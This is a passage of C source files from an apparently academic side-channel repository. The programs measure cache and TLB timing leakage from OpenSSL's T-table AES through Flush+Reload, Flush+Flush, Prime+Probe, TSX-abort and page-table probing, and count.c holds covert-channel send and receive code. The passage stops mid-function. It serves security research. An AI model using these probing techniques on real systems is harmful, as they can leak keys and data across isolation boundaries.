source/string.o 9 | obj-y += source/termio.o 10 | obj-y += source/tlb.o 11 | 12 | obj-histogram-y += source/histogram.o 13 | obj-histogram-pp-y += source/histogram-pp.o 14 | obj-histogram-xp-y += source/histogram-xp.o 15 | 16 | obj-aes-fr-y += source/aes-fr.o 17 | obj-aes-ff-y += source/aes-ff.o 18 | obj-aes-pp-y += source/aes-pp.o 19 | obj-aes-pa-y += source/aes-pa.o 20 | obj-aes-xp-y += source/aes-xp.o 21 | obj-aes-xa-y += source/aes-xa.o 22 | 23 | obj-count-y += source/count.o 24 | obj-xfer-y += source/xfer.o 25 | -------------------------------------------------------------------------------- /source/aes-ff.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | 25 | #include 26 | #include 27 | 28 | void *crypto_find_te0(int fd) 29 | { 30 | Elf *elf; 31 | void *base; 32 | 33 | elf_version(EV_CURRENT); 34 | 35 | elf = elf_begin(fd, ELF_C_READ, NULL); 36 | 37 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 38 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 39 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 40 | "T-table AES implementation enabled.\n"); 41 | return NULL; 42 | } 43 | 44 | elf_end(elf); 45 | 46 | return base; 47 | } 48 | 49 | unsigned char key_data[32] = { 0 }; 50 | 51 | unsigned char plain[16]; 52 | unsigned char cipher[128]; 53 | unsigned char restored[128]; 54 | 55 | int cmp_u64(const void *lhs, const void *rhs) 56 | { 57 | return memcmp(lhs, rhs, sizeof(uint64_t)); 58 | } 59 | 60 | int main(int argc, char *argv[]) 61 | { 62 | uint64_t *timings; 63 | AES_KEY key; 64 | uint64_t time, dt, t0; 65 | struct stat stat; 66 | int fd; 67 | char *base; 68 | char *te0; 69 | char *cl; 70 | size_t size; 71 | size_t round; 72 | size_t i, j; 73 | size_t byte; 74 | 75 | timings = malloc(1000000 * sizeof *timings); 76 | 77 | if (argc < 2) { 78 | fprintf(stderr, "%s \n", argv[0]); 79 | return -1; 80 | } 81 | 82 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 83 | perror("open"); 84 | return -1; 85 | } 86 | 87 | if (!(te0 = crypto_find_te0(fd))) 88 | return -1; 89 | 90 | if (fstat(fd, &stat) < 0) { 91 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 92 | return -1; 93 | } 94 | 95 | size = ALIGN_UP(stat.st_size, 4 * KIB); 96 | 97 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 98 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 99 | return -1; 100 | } 101 | 102 | AES_set_encrypt_key(key_data, 128, &key); 103 | 104 | 105 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 106 | struct timespec past, now; 107 | double diff; 108 | 109 | clock_gettime(CLOCK_MONOTONIC, &past); 110 | 111 | for (byte = 0; byte < 256; byte += 16) { 112 | plain[0] = byte; 113 | 114 | AES_encrypt(plain, cipher, &key); 115 | 116 | time = UINT64_MAX; 117 | 118 | for (round = 0; round < 1000000; ++round) { 119 | sched_yield(); 120 | 121 | for (i = 1; i < 16; ++i) { 122 | plain[i] = rand() % 256; 123 | } 124 | 125 | AES_encrypt(plain, cipher, &key); 126 | sched_yield(); 127 | 128 | asm volatile("mfence\n" ::: "memory"); 129 | t0 = rdtsc(); 130 | asm volatile("mfence\n" ::: "memory"); 131 | clflush(cl); 132 | asm volatile("mfence\n" ::: "memory"); 133 | dt = rdtsc() - t0; 134 | asm volatile("mfence\n" ::: "memory"); 135 | 136 | if (time > dt) 137 | time = dt; 138 | 139 | timings[round] = dt; 140 | } 141 | 142 | qsort(timings, round, sizeof *timings, cmp_u64); 143 | 144 | printf("%" PRIu64 " ", time + timings[round / 2]); 145 | fflush(stdout); 146 | } 147 | 148 | clock_gettime(CLOCK_MONOTONIC, &now); 149 | 150 | diff = now.tv_sec + now.tv_nsec * .000000001; 151 | diff -= past.tv_sec + past.tv_nsec * .000000001; 152 | fprintf(stderr, "time: %.03lfs\n", diff); 153 | 154 | printf("\n"); 155 | } 156 | 157 | close(fd); 158 | 159 | return 0; 160 | } 161 | -------------------------------------------------------------------------------- /source/aes-fr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | #include 25 | #include 26 | 27 | void *crypto_find_te0(int fd) 28 | { 29 | Elf *elf; 30 | void *base; 31 | 32 | elf_version(EV_CURRENT); 33 | 34 | elf = elf_begin(fd, ELF_C_READ, NULL); 35 | 36 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 37 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 38 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 39 | "T-table AES implementation enabled.\n"); 40 | return NULL; 41 | } 42 | 43 | elf_end(elf); 44 | 45 | return base; 46 | } 47 | 48 | unsigned char key_data[32] = { 0 }; 49 | 50 | unsigned char plain[16]; 51 | unsigned char cipher[128]; 52 | unsigned char restored[128]; 53 | 54 | int main(int argc, char *argv[]) 55 | { 56 | AES_KEY key; 57 | uint64_t dt, t0; 58 | struct stat stat; 59 | int fd; 60 | char *base; 61 | char *te0; 62 | char *cl; 63 | size_t count, size; 64 | size_t round; 65 | size_t i, j; 66 | size_t byte; 67 | 68 | if (argc < 2) { 69 | fprintf(stderr, "%s \n", argv[0]); 70 | return -1; 71 | } 72 | 73 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 74 | perror("open"); 75 | return -1; 76 | } 77 | 78 | if (!(te0 = crypto_find_te0(fd))) 79 | return -1; 80 | 81 | if (fstat(fd, &stat) < 0) { 82 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 83 | return -1; 84 | } 85 | 86 | size = ALIGN_UP(stat.st_size, 4 * KIB); 87 | 88 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 89 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 90 | return -1; 91 | } 92 | 93 | AES_set_encrypt_key(key_data, 128, &key); 94 | 95 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 96 | struct timespec past, now; 97 | double diff; 98 | 99 | clock_gettime(CLOCK_MONOTONIC, &past); 100 | 101 | for (byte = 0; byte < 256; byte += 16) { 102 | plain[0] = byte; 103 | 104 | count = 0; 105 | 106 | for (round = 0; round < 1000000; ++round) { 107 | for (i = 1; i < 16; ++i) { 108 | plain[i] = rand() % 256; 109 | } 110 | 111 | clflush(cl); 112 | asm volatile("mfence" ::: "memory"); 113 | AES_encrypt(plain, cipher, &key); 114 | sched_yield(); 115 | 116 | t0 = rdtsc(); 117 | *(volatile char *)cl; 118 | dt = rdtsc() - t0; 119 | 120 | /* Skylake: 150 */ 121 | 122 | if (dt < 150) 123 | ++count; 124 | } 125 | 126 | printf("%zu ", count); 127 | fflush(stdout); 128 | } 129 | 130 | clock_gettime(CLOCK_MONOTONIC, &now); 131 | 132 | diff = now.tv_sec + now.tv_nsec * .000000001; 133 | diff -= past.tv_sec + past.tv_nsec * .000000001; 134 | fprintf(stderr, "time: %.03lfs\n", diff); 135 | 136 | printf("\n"); 137 | } 138 | 139 | close(fd); 140 | 141 | return 0; 142 | } 143 | -------------------------------------------------------------------------------- /source/aes-pa.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | #include 31 | 32 | void *crypto_find_te0(int fd) 33 | { 34 | Elf *elf; 35 | void *base; 36 | 37 | elf_version(EV_CURRENT); 38 | 39 | elf = elf_begin(fd, ELF_C_READ, NULL); 40 | 41 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 42 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 43 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 44 | "T-table AES implementation enabled.\n"); 45 | return NULL; 46 | } 47 | 48 | elf_end(elf); 49 | 50 | return base; 51 | } 52 | 53 | int cmp_size(const void *lhs, const void *rhs) 54 | { 55 | return memcmp(lhs, rhs, sizeof(size_t)); 56 | } 57 | 58 | int prime_and_abort(struct list *working_set, void *line) 59 | { 60 | struct list *node; 61 | size_t ncommits = 0; 62 | size_t naborts = 0; 63 | unsigned ret; 64 | 65 | while (ncommits < 16 && naborts < 16) { 66 | list_foreach(working_set, node); 67 | *(volatile char *)line; 68 | 69 | if ((ret = xbegin()) == XBEGIN_INIT) { 70 | list_foreach(working_set, node); 71 | *(volatile char *)line; 72 | xend(); 73 | 74 | ++ncommits; 75 | } else if (ret & XABORT_CAPACITY) { 76 | ++naborts; 77 | } 78 | } 79 | 80 | return ncommits == 0; 81 | } 82 | 83 | unsigned char key_data[32] = { 0 }; 84 | 85 | unsigned char plain[16]; 86 | unsigned char cipher[128]; 87 | unsigned char restored[128]; 88 | 89 | int main(int argc, char *argv[]) 90 | { 91 | AES_KEY key; 92 | struct list *node; 93 | struct list set; 94 | struct stat stat; 95 | struct page_set lines, wset; 96 | int fd; 97 | char *base; 98 | char *te0; 99 | char *cl; 100 | uintptr_t colour = 0; 101 | size_t size; 102 | size_t round; 103 | size_t i, j; 104 | size_t byte; 105 | size_t nways = 16; 106 | unsigned ret; 107 | 108 | if (argc < 2) { 109 | fprintf(stderr, "%s []\n", argv[0]); 110 | return -1; 111 | } 112 | 113 | if (argc >= 3) { 114 | nways = (size_t)strtoull(argv[2], NULL, 10); 115 | } 116 | 117 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 118 | perror("open"); 119 | return -1; 120 | } 121 | 122 | if (!(te0 = crypto_find_te0(fd))) 123 | return -1; 124 | 125 | if (fstat(fd, &stat) < 0) { 126 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 127 | return -1; 128 | } 129 | 130 | size = ALIGN_UP((size_t)stat.st_size, 4 * KIB); 131 | 132 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 133 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 134 | return -1; 135 | } 136 | 137 | build_page_pool(&lines, 4096); 138 | AES_set_encrypt_key(key_data, 128, &key); 139 | 140 | page_set_init(&wset, 16); 141 | 142 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 143 | if (!colour || colour != ((uintptr_t)cl & ~(4 * KIB - 1))) { 144 | for (i = 0; i < wset.len; ++i) { 145 | page_set_push(&lines, wset.data[i]); 146 | } 147 | 148 | find_wset(&lines, &wset, NULL, cl, nways, prime_and_probe); 149 | limit_wset(&lines, &wset, nways); 150 | 151 | colour = ((uintptr_t)cl & ~(4 * KIB - 1)); 152 | } 153 | 154 | page_set_link(&wset, &set, (size_t)cl & (4 * KIB - 1)); 155 | 156 | struct timespec past, now; 157 | double diff; 158 | 159 | clock_gettime(CLOCK_MONOTONIC, &past); 160 | 161 | for (byte = 0; byte < 256; byte += 16) { 162 | plain[0] = byte; 163 | int64_t score = 0; 164 | 165 | for (round = 0; round < 1000000; ++round) { 166 | for (i = 1; i < 16; ++i) { 167 | plain[i] = rand() % 256; 168 | } 169 | 170 | if ((ret = xbegin()) == XBEGIN_INIT) { 171 | list_foreach(&set, node); 172 | 173 | AES_encrypt(plain, cipher, &key); 174 | xend(); 175 | 176 | ++score; 177 | } 178 | } 179 | 180 | printf("%" PRId64 " ", score); 181 | fflush(stdout); 182 | } 183 | 184 | clock_gettime(CLOCK_MONOTONIC, &now); 185 | 186 | diff = now.tv_sec + now.tv_nsec * .000000001; 187 | diff -= past.tv_sec + past.tv_nsec * .000000001; 188 | fprintf(stderr, "time: %.03lfs\n", diff); 189 | 190 | printf("\n"); 191 | } 192 | 193 | close(fd); 194 | 195 | return 0; 196 | } 197 | -------------------------------------------------------------------------------- /source/aes-pp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #include 30 | #include 31 | 32 | void *crypto_find_te0(int fd) 33 | { 34 | Elf *elf; 35 | void *base; 36 | 37 | elf_version(EV_CURRENT); 38 | 39 | elf = elf_begin(fd, ELF_C_READ, NULL); 40 | 41 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 42 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 43 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 44 | "T-table AES implementation enabled.\n"); 45 | return NULL; 46 | } 47 | 48 | elf_end(elf); 49 | 50 | return base; 51 | } 52 | 53 | unsigned char key_data[32] = { 0 }; 54 | 55 | unsigned char plain[16]; 56 | unsigned char cipher[128]; 57 | unsigned char restored[128]; 58 | 59 | int main(int argc, char *argv[]) 60 | { 61 | AES_KEY key; 62 | struct list set; 63 | uint64_t dt; 64 | struct stat stat; 65 | struct page_set lines, wset; 66 | int fd; 67 | char *base; 68 | char *te0; 69 | char *cl; 70 | uintptr_t colour = 0; 71 | size_t size; 72 | size_t round; 73 | size_t i, j; 74 | size_t byte; 75 | size_t nways = 16; 76 | 77 | if (argc < 2) { 78 | fprintf(stderr, "%s []\n", argv[0]); 79 | return -1; 80 | } 81 | 82 | if (argc >= 3) { 83 | nways = (size_t)strtoull(argv[2], NULL, 10); 84 | } 85 | 86 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 87 | perror("open"); 88 | return -1; 89 | } 90 | 91 | if (!(te0 = crypto_find_te0(fd))) 92 | return -1; 93 | 94 | if (fstat(fd, &stat) < 0) { 95 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 96 | return -1; 97 | } 98 | 99 | size = ALIGN_UP((size_t)stat.st_size, 4 * KIB); 100 | 101 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 102 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 103 | return -1; 104 | } 105 | 106 | build_page_pool(&lines, 4096); 107 | 108 | AES_set_encrypt_key(key_data, 128, &key); 109 | 110 | page_set_init(&wset, 16); 111 | 112 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 113 | if (!colour || colour != ((uintptr_t)cl & ~(4 * KIB - 1))) { 114 | for (i = 0; i < wset.len; ++i) { 115 | page_set_push(&lines, wset.data[i]); 116 | } 117 | 118 | find_wset(&lines, &wset, NULL, cl, 16, prime_and_probe); 119 | limit_wset(&lines, &wset, nways); 120 | 121 | colour = ((uintptr_t)cl & ~(4 * KIB - 1)); 122 | } 123 | 124 | page_set_link(&wset, &set, (size_t)cl & (4 * KIB - 1)); 125 | 126 | struct timespec past, now; 127 | double diff; 128 | 129 | clock_gettime(CLOCK_MONOTONIC, &past); 130 | 131 | for (byte = 0; byte < 256; byte += 16) { 132 | plain[0] = byte; 133 | int64_t score = 0; 134 | 135 | prime(&set); 136 | 137 | for (round = 0; round < 1000000; ++round) { 138 | for (i = 1; i < 16; ++i) { 139 | plain[i] = rand() % 256; 140 | } 141 | 142 | AES_encrypt(plain, cipher, &key); 143 | sched_yield(); 144 | 145 | dt = prime(&set); 146 | 147 | if (dt < 600) 148 | --score; 149 | 150 | if (dt > 750) 151 | ++score; 152 | } 153 | 154 | printf("%" PRId64 " ", score); 155 | fflush(stdout); 156 | } 157 | 158 | clock_gettime(CLOCK_MONOTONIC, &now); 159 | 160 | diff = now.tv_sec + now.tv_nsec * .000000001; 161 | diff -= past.tv_sec + past.tv_nsec * .000000001; 162 | fprintf(stderr, "time: %.03lfs\n", diff); 163 | 164 | printf("\n"); 165 | } 166 | 167 | close(fd); 168 | 169 | return 0; 170 | } 171 | -------------------------------------------------------------------------------- /source/aes-xa.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include 31 | #include 32 | #include 33 | 34 | struct page_set tlb_set; 35 | 36 | void *crypto_find_te0(int fd) 37 | { 38 | Elf *elf; 39 | void *base; 40 | 41 | elf_version(EV_CURRENT); 42 | 43 | elf = elf_begin(fd, ELF_C_READ, NULL); 44 | 45 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 46 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 47 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 48 | "T-table AES implementation enabled.\n"); 49 | return NULL; 50 | } 51 | 52 | elf_end(elf); 53 | 54 | return base; 55 | } 56 | 57 | int cmp_size(const void *lhs, const void *rhs) 58 | { 59 | return memcmp(lhs, rhs, sizeof(size_t)); 60 | } 61 | 62 | int cmp_u64(const void *lhs, const void *rhs) 63 | { 64 | return memcmp(lhs, rhs, sizeof(uint64_t)); 65 | } 66 | 67 | char *alloc_huge_page(void) 68 | { 69 | char *page, *offset; 70 | size_t size; 71 | 72 | if ((page = mmap(NULL, 4 * MIB, PROT_NONE, 73 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) 74 | return NULL; 75 | 76 | offset = (char *)ALIGN_UP((uintptr_t)page, 2 * MIB); 77 | 78 | size = (size_t)(offset - page); 79 | munmap(page, size); 80 | 81 | size = (size_t)(4 * MIB - (uintptr_t)offset - 2 * MIB); 82 | //munmap(offset + 2 * MIB, size); 83 | 84 | return offset; 85 | } 86 | 87 | char *alloc_page(int fd) 88 | { 89 | char *page; 90 | 91 | if (!(page = alloc_huge_page())) 92 | return NULL; 93 | 94 | mmap(page, 4 * KIB, PROT_READ | PROT_WRITE, 95 | MAP_FIXED | MAP_SHARED, fd, 0); 96 | munmap(page + 4 * KIB, 2 * MIB - 4 * KIB); 97 | 98 | return page; 99 | } 100 | 101 | unsigned char key_data[32] = { 0 }; 102 | 103 | unsigned char plain[16]; 104 | unsigned char cipher[128]; 105 | unsigned char restored[128]; 106 | 107 | void seed(void) 108 | { 109 | struct timeval tv; 110 | 111 | gettimeofday(&tv, NULL); 112 | srand48(tv.tv_usec); 113 | } 114 | 115 | int main(int argc, char *argv[]) 116 | { 117 | AES_KEY key; 118 | uint64_t *timings; 119 | struct stat stat; 120 | struct page_set lines, wset; 121 | int fd; 122 | char *base; 123 | char *te0; 124 | char *cl; 125 | size_t size; 126 | size_t round; 127 | size_t i, j; 128 | size_t byte; 129 | size_t nways = 16; 130 | unsigned ret; 131 | 132 | timings = malloc(1000000 * sizeof *timings); 133 | 134 | seed(); 135 | 136 | if (argc < 2) { 137 | fprintf(stderr, "%s []\n", argv[0]); 138 | return -1; 139 | } 140 | 141 | if (argc >= 3) { 142 | nways = (size_t)strtoull(argv[2], NULL, 10); 143 | } 144 | 145 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 146 | perror("open"); 147 | return -1; 148 | } 149 | 150 | if (!(te0 = crypto_find_te0(fd))) 151 | return -1; 152 | 153 | if (fstat(fd, &stat) < 0) { 154 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 155 | return -1; 156 | } 157 | 158 | size = ALIGN_UP((size_t)stat.st_size, 4 * KIB); 159 | 160 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 161 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 162 | return -1; 163 | } 164 | 165 | close(fd); 166 | 167 | build_ptable_pool(&lines, "/foo", 4096); 168 | build_tlb(&tlb_set, "/foo", 1600); 169 | AES_set_encrypt_key(key_data, 128, &key); 170 | 171 | page_set_init(&wset, 16); 172 | 173 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 174 | page_set_remap(&lines, cl); 175 | find_wset(&lines, &wset, &tlb_set, cl, nways, xlate_and_probe); 176 | limit_wset(&lines, &wset, nways); 177 | 178 | struct timespec past, now; 179 | double diff; 180 | 181 | clock_gettime(CLOCK_MONOTONIC, &past); 182 | 183 | for (byte = 0; byte < 256; byte += 16) { 184 | plain[0] = byte; 185 | int64_t commits = 0; 186 | 187 | xlate(&wset, &tlb_set); 188 | 189 | for (round = 0; round < 1000000; ++round) { 190 | for (i = 1; i < 16; ++i) { 191 | plain[i] = rand() % 256; 192 | } 193 | 194 | for (i = 0; i < tlb_set.len; ++i) 195 | *(volatile char *)tlb_set.data[i]; 196 | 197 | page_set_shuffle(&wset); 198 | 199 | if ((ret = xbegin()) == XBEGIN_INIT) { 200 | for (i = 0; i < wset.len; ++i) 201 | *(volatile char *)wset.data[i]; 202 | 203 | AES_encrypt(plain, cipher, &key); 204 | xend(); 205 | ++commits; 206 | } 207 | } 208 | 209 | printf("%" PRId64 " ", commits); 210 | fflush(stdout); 211 | } 212 | 213 | clock_gettime(CLOCK_MONOTONIC, &now); 214 | 215 | diff = now.tv_sec + now.tv_nsec * .000000001; 216 | diff -= past.tv_sec + past.tv_nsec * .000000001; 217 | fprintf(stderr, "time: %.03lfs\n", diff); 218 | 219 | for (i = 0; i < wset.len; ++i) { 220 | page_set_push(&lines, wset.data[i]); 221 | } 222 | 223 | printf("\n"); 224 | } 225 | 226 | close(fd); 227 | shm_unlink("/foo"); 228 | 229 | return 0; 230 | } 231 | -------------------------------------------------------------------------------- /source/aes-xp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include 20 | #include 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | 30 | #include 31 | #include 32 | 33 | struct page_set tlb_set; 34 | 35 | void *crypto_find_te0(int fd) 36 | { 37 | Elf *elf; 38 | void *base; 39 | 40 | elf_version(EV_CURRENT); 41 | 42 | elf = elf_begin(fd, ELF_C_READ, NULL); 43 | 44 | if (!(base = gelf_find_sym_ptr(elf, "Te0"))) { 45 | fprintf(stderr, "error: unable to find the 'Te0' symbol in " 46 | "libcrypto.so.\n\nPlease compile a version of OpenSSL with the " 47 | "T-table AES implementation enabled.\n"); 48 | return NULL; 49 | } 50 | 51 | elf_end(elf); 52 | 53 | return base; 54 | } 55 | 56 | unsigned char key_data[32] = { 0 }; 57 | 58 | unsigned char plain[16]; 59 | unsigned char cipher[128]; 60 | unsigned char restored[128]; 61 | 62 | void seed(void) 63 | { 64 | struct timeval tv; 65 | 66 | gettimeofday(&tv, NULL); 67 | srand48(tv.tv_usec); 68 | } 69 | 70 | int main(int argc, char *argv[]) 71 | { 72 | AES_KEY key; 73 | uint64_t *timings; 74 | struct stat stat; 75 | struct page_set lines, wset; 76 | uint64_t dt; 77 | int fd; 78 | char *base; 79 | char *te0; 80 | char *cl; 81 | size_t size; 82 | size_t round; 83 | size_t i, j; 84 | size_t byte; 85 | size_t nways = 16; 86 | 87 | timings = malloc(1000000 * sizeof *timings); 88 | 89 | seed(); 90 | 91 | if (argc < 2) { 92 | fprintf(stderr, "%s []\n", argv[0]); 93 | return -1; 94 | } 95 | 96 | if (argc >= 3) { 97 | nways = (size_t)strtoull(argv[2], NULL, 10); 98 | } 99 | 100 | if ((fd = open(argv[1], O_RDONLY)) < 0) { 101 | perror("open"); 102 | return -1; 103 | } 104 | 105 | if (!(te0 = crypto_find_te0(fd))) 106 | return -1; 107 | 108 | if (fstat(fd, &stat) < 0) { 109 | fprintf(stderr, "error: unable to get the file size of libcrypto.so\n"); 110 | return -1; 111 | } 112 | 113 | size = ALIGN_UP((size_t)stat.st_size, 4 * KIB); 114 | 115 | if ((base = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { 116 | fprintf(stderr, "error: unable to map libcrypto.so\n"); 117 | return -1; 118 | } 119 | 120 | close(fd); 121 | 122 | build_ptable_pool(&lines, "/foo", 4096); 123 | build_tlb(&tlb_set, "/foo", 1600); 124 | AES_set_encrypt_key(key_data, 128, &key); 125 | 126 | page_set_init(&wset, 16); 127 | 128 | for (cl = base + (size_t)te0, j = 0; j < 16; ++j, cl += 64) { 129 | page_set_remap(&lines, cl); 130 | find_wset(&lines, &wset, &tlb_set, cl, nways, xlate_and_probe); 131 | limit_wset(&lines, &wset, nways); 132 | 133 | struct timespec past, now; 134 | double diff; 135 | 136 | clock_gettime(CLOCK_MONOTONIC, &past); 137 | 138 | for (byte = 0; byte < 256; byte += 16) { 139 | plain[0] = byte; 140 | int64_t score = 0; 141 | 142 | xlate(&wset, &tlb_set); 143 | 144 | for (round = 0; round < 1000000; ++round) { 145 | for (i = 1; i < 16; ++i) { 146 | plain[i] = rand() % 256; 147 | } 148 | 149 | AES_encrypt(plain, cipher, &key); 150 | sched_yield(); 151 | 152 | page_set_shuffle(&wset); 153 | dt = xlate(&wset, &tlb_set); 154 | 155 | if (dt < 450) 156 | --score; 157 | 158 | if (dt > 650) 159 | ++score; 160 | } 161 | 162 | printf("%" PRId64 " ", score); 163 | fflush(stdout); 164 | } 165 | 166 | clock_gettime(CLOCK_MONOTONIC, &now); 167 | 168 | diff = now.tv_sec + now.tv_nsec * .000000001; 169 | diff -= past.tv_sec + past.tv_nsec * .000000001; 170 | fprintf(stderr, "time: %.03lfs\n", diff); 171 | 172 | for (i = 0; i < wset.len; ++i) { 173 | page_set_push(&lines, wset.data[i]); 174 | } 175 | 176 | printf("\n"); 177 | } 178 | 179 | close(fd); 180 | shm_unlink("/foo"); 181 | 182 | return 0; 183 | } 184 | -------------------------------------------------------------------------------- /source/count.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #include 28 | #include 29 | #include 30 | 31 | static char *send_page = NULL; 32 | static char *recv_page = NULL; 33 | static struct list wsets[19]; 34 | static struct page_set xsets[19]; 35 | static struct page_set tlb_set; 36 | 37 | int send_raw(uint32_t word) 38 | { 39 | size_t i; 40 | 41 | for (size_t j = 0; j < 100; ++j) { 42 | for (i = 0; i < 19; ++i) { 43 | if (word & BIT(i)) { 44 | *(volatile char *)(send_page + i * 4 * KIB); 45 | } 46 | } 47 | } 48 | 49 | return 0; 50 | } 51 | 52 | uint32_t fr_recv_raw(void) 53 | { 54 | size_t i; 55 | uint64_t t0, dt; 56 | uint32_t word = 0; 57 | 58 | for (i = 0; i < 19; ++i) { 59 | clflush(recv_page + i * 4 * KIB); 60 | } 61 | 62 | asm volatile("mfence\n" ::: "memory"); 63 | 64 | for (i = 0; i < 19; ++i) { 65 | t0 = rdtsc(); 66 | *(volatile char *)(recv_page + i * 4 * KIB); 67 | dt = rdtsc() - t0; 68 | 69 | if (dt < 120) 70 | word |= BIT(i); 71 | } 72 | 73 | return word; 74 | } 75 | 76 | uint32_t ff_recv_raw(void) 77 | { 78 | size_t i; 79 | uint64_t t0, dt; 80 | uint32_t word = 0; 81 | void *line; 82 | 83 | for (i = 0; i < 19; ++i) { 84 | line = recv_page + i * 4 * KIB; 85 | 86 | asm volatile("cpuid\n" :: "a" (0) : "%rbx", "%rcx", "%rdx"); 87 | asm volatile("mfence\n" ::: "memory"); 88 | t0 = rdtsc(); 89 | asm volatile("mfence\n" ::: "memory"); 90 | clflush(line); 91 | asm volatile("mfence\n" ::: "memory"); 92 | dt = rdtsc() - t0; 93 | asm volatile("mfence\n" ::: "memory"); 94 | asm volatile("cpuid\n" :: "a" (0) : "%rbx", "%rcx", "%rdx"); 95 | 96 | if (dt >= 172 && dt < 200) 97 | word |= BIT(i); 98 | } 99 | 100 | return word; 101 | } 102 | 103 | uint32_t pp_recv_raw(void) 104 | { 105 | size_t i; 106 | uint64_t dt; 107 | uint32_t word = 0; 108 | 109 | for (i = 0; i < 19; ++i) { 110 | dt = prime(wsets + i); 111 | 112 | if (dt > 920) 113 | word |= BIT(i); 114 | } 115 | 116 | return word; 117 | } 118 | 119 | static int pp_build_eviction_sets(size_t npages, char *base) 120 | { 121 | struct page_set lines; 122 | struct page_set wset; 123 | char *target; 124 | size_t i; 125 | 126 | if (build_page_pool(&lines, npages) < 0) { 127 | fprintf(stderr, "unable to build the page pool.\n"); 128 | return -1; 129 | } 130 | 131 | page_set_init(&wset, 16); 132 | 133 | for (i = 0; i < 19; ++i) { 134 | target = base + i * 4 * KIB; 135 | find_wset(&lines, &wset, NULL, target, 16, prime_and_probe); 136 | page_set_link(&wset, wsets + i, 0); 137 | } 138 | 139 | fprintf(stderr, "found eviction sets\n"); 140 | 141 | return 0; 142 | } 143 | 144 | uint32_t pa_recv_raw(void) 145 | { 146 | struct list *wset, *node; 147 | size_t i; 148 | unsigned ret; 149 | uint32_t word = 0; 150 | 151 